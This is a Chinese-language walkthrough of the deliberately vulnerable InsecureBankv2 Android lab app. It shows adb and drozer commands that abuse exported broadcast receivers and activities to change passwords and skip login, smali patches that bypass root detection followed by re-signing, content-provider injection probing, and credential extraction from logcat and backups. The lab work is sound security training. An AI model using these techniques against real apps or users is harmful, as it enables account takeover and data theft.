项目地址:https://github.com/dineshshetty/Android-InsecureBankv2
默认账号:dinesh/Dinesh@123$ or jack/Jack@123$
涉及漏洞:
反编译APK,反编译dex,便于查看 java、androidmanifest、资源文件
apktool、dex2jar配置就多说,不清楚的度娘一把。
反编译命令如下:
cp InsecureBankv2.apk InsecureBankv2.zip
mkdir zipfile
apktool d -o apkfile InsecureBankv2.apk
unzip InsecureBankv2.zip -d zipfile
cd zipfile/
d2j-dex2jar.sh classes.dex
查看Manifest文件,包含
JD-JUI查看java,看样子可进行密码修改。同时,看到base64,弱密码问题没跑了。
搜索Broadcast,定位到 ChangePassword.class,参数被传递到BroadcastReceiver
drozer 发消息看下,执行无任何提示,因为电话号码是无效的,不可能有短信过来。可以用新密码登录试一下,登录成功说明执行ok。
dz> run app.broadcast.send --action theBroadcast --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1234 --extra string newpass Dinesh@123!
// 也可以使用adb shell am 发送
am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 1234 –es newpass Dinesh@123!
试了下drozer app.broadcast.sniff 模块,运行修改密码,drozer 无反馈,app崩溃。还望清楚这个问题的朋友告知。
dz> run app.broadcast.sniff
[-] No broadcast receiver registered. However, this will still receive intents from previously registered receivers.
[*] Output is updated once a second. Press Control+C to exit.
先从登录 activity看起
源码看到,这里oncreate方法中,应该还有一个createuser的button,通过判断2131165257的值进行隐藏。
查看R.class,对应值为is_admin,在反编译目录中查找该关键字,值为no,修改为yes重新打包编译看看效果。
ubuntu@ubuntu:~/pt/InsecureBankV2/apkfile$ find . -name "*.xml" |xargs grep "is_admin"
./res/values/strings.xml: no
./res/values/public.xml:
签名使用jarsigner、apksigner都可以,详细请参考https://www.jianshu.com/p/53078d03c9bf
重新打包编译命令如下,验证签名后重装,效果如截图。这里进行了重新打包,列表中 application patch的问题一并完成。
jarsigner -keystore debug.keystore -digestalg SHA1 -sigalg SHA1withRSA InsecureBankv2.apk signkey
keytool -printcert -jarfile InsecureBankv2.apk
加密的问题一起看。刚才 1 中已经提到base64。
先登录,看下手机上是否存储密码信息。查看 /data/data/com.android.insecurebankv2目录 sharedpreference文件,看起来做了加密处理。
找源码看下,可以拿到IV及key及加密方法,破解密码 不做说明了。到这里,Hardcoded secrets问题也一并解决了。
看 题目,基本上是组件导出的问题了。不多说,看androidmanifest文件,多个activity 可导出。当然,这里用drozer 也可以。
调用activity,绕过登录验证
adb shell am start -n com.android.insecurebankv2/.PostLogin
//或 drozer,效果一样
dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
com.android.insecurebankv2.LoginActivity
Permission: null
com.android.insecurebankv2.PostLogin
Permission: null
com.android.insecurebankv2.DoTransfer
Permission: null
com.android.insecurebankv2.ViewStatement
Permission: null
com.android.insecurebankv2.ChangePassword
Permission: null
dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
查看源码,发现开发者后门账号,直接用devadmin,无需密码可登录成功
root 检测和模拟器检测,放在一起看。
登录后可以看到,提示 rooted device
先看登录后的 postlogin源码,2个方法进行root检测。这里showrootstatus() 写法比较奇怪,if 判断完什么都不做,for 循环一定执行,都会提示root。又对照git上源码看了看,估计 dex2jar 反编译导致的。
java源码
剩下的问题就简单了,找到smali代码,修改后重新打包、签名。
这里看到cond_0 即检测到root后执行的操作,cond_2反之。
修改办法比较多了,可以修改if条件(nez改为eqz等),也可以直接改检测到root后,执行的语句。
修改如下,doseSuperuserApkExist 注释,直接跳转到 cond_2,绕过root检测,当然改法不止这一种,实现效果即可。
改好后,重新打包编译,安装到手机运行,实现绕过。
至于模拟器检测,大致过程和root绕过类似,不重复说明了。贴上关键代码,如下
看题目,基本上是IPC组件对外暴露,导致数据泄露的问题了。
两种方法,drozer获取信息后外部调用,或者通过反编译后源码、资源文件获取信息后调用。
drozer 命令如下:
dz> run app.package.list -f bank
com.android.insecurebankv2 (InsecureBankv2)
dz> run app.provider.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
Authority: com.android.insecurebankv2.TrackUserContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.android.insecurebankv2.TrackUserContentProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
dz> run scanner.provider.finduris -a com.android.insecurebankv2
Scanning com.android.insecurebankv2...
Unable to Query content://com.android.insecurebankv2.TrackUserContentProvider/
Unable to Query content://com.google.android.gms.games
Unable to Query content://com.android.insecurebankv2.TrackUserContentProvider
Able to Query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Able to Query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
Unable to Query content://com.google.android.gms.games/
Accessible content URIs:
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
dz> run scanner.provider.injection -a com.android.insecurebankv2
Scanning com.android.insecurebankv2...
Not Vulnerable:
content://com.android.insecurebankv2.TrackUserContentProvider/
content://com.google.android.gms.games
content://com.google.android.gms.games/
content://com.android.insecurebankv2.TrackUserContentProvider
Injection in Projection:
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
Injection in Selection:
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
| id | name |
| 1 | dinesh |
查看源码,webview.loadurl的问题
搜了下Statements,在DoTransfer.java中,transfer成功进行文件写入
试了下transfer,server看到成功及消息,但是viewstatement,提示不存在。
换个思路,代码中看到是通过Environment.getExternalStorageDirectory()获取路径,该路径是外部程序可读写的,写入一个文件进行loadurl。暂时不试了,有点儿晚,睡了先。
睡一觉起来,想了下,昨晚的思路仅仅针对完成这个题目。题目的场景应该执行transfer操作后,app会写入信息到文件,通过webview.loadurl 实现对文件的访问,获取一些信息。真实场景下,这种问题利用条件比较苛刻,至少要拿下手机。
写了个简单html文件,push到手机/sdcard目录,viewstatment提示denied,如下图。
看了下应用,没有任何授权,给一个 存储访问权限,可正常读取并加载html,点link跳转到百度。
查看AndroidManifest.xml文件 android:debuggable,这个标志指示应用程序在用户模式的设备上是否可以调试。如果为true,则表示应用程序可以被调试;如果为false,则表示应用程序不可以被调试。它的默认值是false。使用这个标志唯一需要注意的是,它只在用户模式的机器上生效。
默认false,修改为true,重新编译打包签名。
获取进程ID,一般关闭app、运行APP分别执行adb jdwp,新增的就是进程ID。
另一种办法,ps 查找package 那么 获取,在 logcat 中验证下。
//方法1
adb jdwp
//方法2
adb shell ps | grep insecurebank
adb logcat | grep [pid]
使用jdwp进行调试,启动调试,设置断点,查看关键信息。
root检测、模拟器检测也可以通过动态调试修改内存值进行绕过,不过就是每次都要改,比较麻烦。
当然,也可以使用IDE、Frida等工具调试,方法很多。
调试命令,help 查看帮助。常用classes, methods, fields, stop in, watch, locals, step 等,调试比较费时,过程命令如下:
adb logcat 查看日志情况,明文输出用户名、密码等信息。
搜索关键字:key,password, login, user, account, dinesh(登录用户名)
看下代码
剪切板问题,试了下 密码输入框不可复制,如图看到,可通过service获取剪切板内容。
可能造成敏感信息泄露的问题。
keyboard cache 问题,看了下没有找到cache内容。
没什么可说的,manifest文件定义允许备份,备份后查看是否包含敏感信息。
备份过程,要求输入设备密码。
读取可使用 abe.jar。 试了下管道,不成功,还望知道的同学赐教。
adb backup -apk-shared com.android.insecurebankv2
cat backup.ab | (dd bs=24 count=0 skip=1; cat) | zlib-flate -uncompress > backup_compressed.tar
0+0 records in
0+0 records out
0 bytes copied, 0.00158774 s, 0.0 kB/s
flate: inflate: data: incorrect header check
手机、pc在同一个wifi网络,手机安装burp证书后信任,配置代理抓包。
用户名枚举问题:
transfer操作,输入用户名后可获取account id,抓包进行枚举即可。
密码修改问题:
修改密码仅要求输入新密码,不验证用户,所以抓包重放,可修改任意用户密码。
这几个问题比较简单,和web后端问题类似,不多说明了。
parameter manipulation 问题,暂时没理解到问题。
insecure sdcard, 存储在外部sdcard数据需进行加密,也不多说了。
终于,完成。个别问题没解决,后面再补充。
过程中用到资源如下:
Android-InsecureBankv2 apk https://github.com/dineshshetty/Android-InsecureBankv2
Android SDK http://developer.android.com/sdk/index.html.
apktool http://ibotpeaches.github.io/Apktool/.
SignApk https://github.com/appium/sign
dex2jar https://bitbucket.org/pxb1988/dex2jar/downloads
drozer https://labs.mwrinfosecurity.com/tools/drozer/